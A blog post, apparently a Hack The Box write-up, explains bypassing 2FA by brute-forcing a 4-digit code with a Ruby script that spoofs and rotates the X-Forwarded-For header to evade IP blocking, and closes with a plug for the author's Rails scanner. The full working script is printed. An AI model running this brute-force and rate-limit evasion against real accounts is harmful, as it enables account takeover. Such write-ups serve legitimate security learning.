I was doing a challenge on Hack The Box(since it is still active, I don’t want to point out which one it was) and I solved it with a little Ruby script.
The challenge was to bypass 2FA protection. At the login proccess, a SQL injection enabled to bypass the password verification, but there was a second factor. Based on the available source code, the second factor was a 4 digit code and it was valid for 5 minutes, so I tried to brute-force it with Burp Intruder, but after the 20th attempt, my IP got blocked. I looked at the codebase again, and noticed that the application accepts an X-Forwarded-For
header. I thought this might enable me to brute-force the 2FA code. Unfortunately Intruder doesn’t make it easy to rotate the IP during an attack, so I decided to write a little Ruby script to handle this.
My goal was to get a script that iterates over the 4 digit permutations of the numbers from 0 till 9, make a request with the code to the target, set the X-Forwarded-For
header and rotate it every 5 requests. The failed 2FA code resulted in a 400
status code, so when the script receives anything else, it is likely a match and I want it to output the response so I can get the session cookie from the headers.
For the HTTP requests, I decided to use Faraday, because it makes it easy to set request headers, debug them if needed and to easily see the response headers.
I checked Ruby’s IPAddr
class and it has a succ
method to get the next IP address, this will be perfect for the IP address rotation.
This is the script I ended up with comments for explanation:
require "ipaddr"
require 'faraday'
# start with this IP
ip = IPAddr.new "1.1.1.1"
# iterate over the repeated_permutations of our character set(0-9)
(0..9).to_a.repeated_permutation(4).each do |numbers|
code = numbers.join # create the code from the numbers
# rotate IP every 5th requests
ip = ip.succ if code.to_i % 5 == 0
# create a faraday connection to the target with the necessary header
conn = Faraday.new(
url: 'TARGET/auth/verify-2fa',
headers: {'X-Forwarded-For' => ip.to_s}
)
# send the request
response = conn.post('/auth/verify-2fa') do |req|
req.body = "2fa-code=#{code}"
end
# poor man's progress indicator
puts response.status
# if the response status is not 400 we have a match. output the response and stop the process
if response.status != 400
puts response.inspect
break
end
end
As you can see, this task is a breeze with Ruby, no wonder why many cyber security professionals use it as their go to scripting language.
As for the challenge, it highlights a typical real life issue with 2FA implementations in my experience. I found a few bugs where there was no rate-limiting at all on the 2FA code and token lifetime was enough to brute-force it.
Or follow me on Twitter
I run an indie startup providing vulnerability scanning for your Ruby on Rails app.
It is free to use at the moment, and I am grateful for any feedback about it.If you would like to give it a spin, you can do it here: Vulnerability Scanning for your Ruby on Rails app!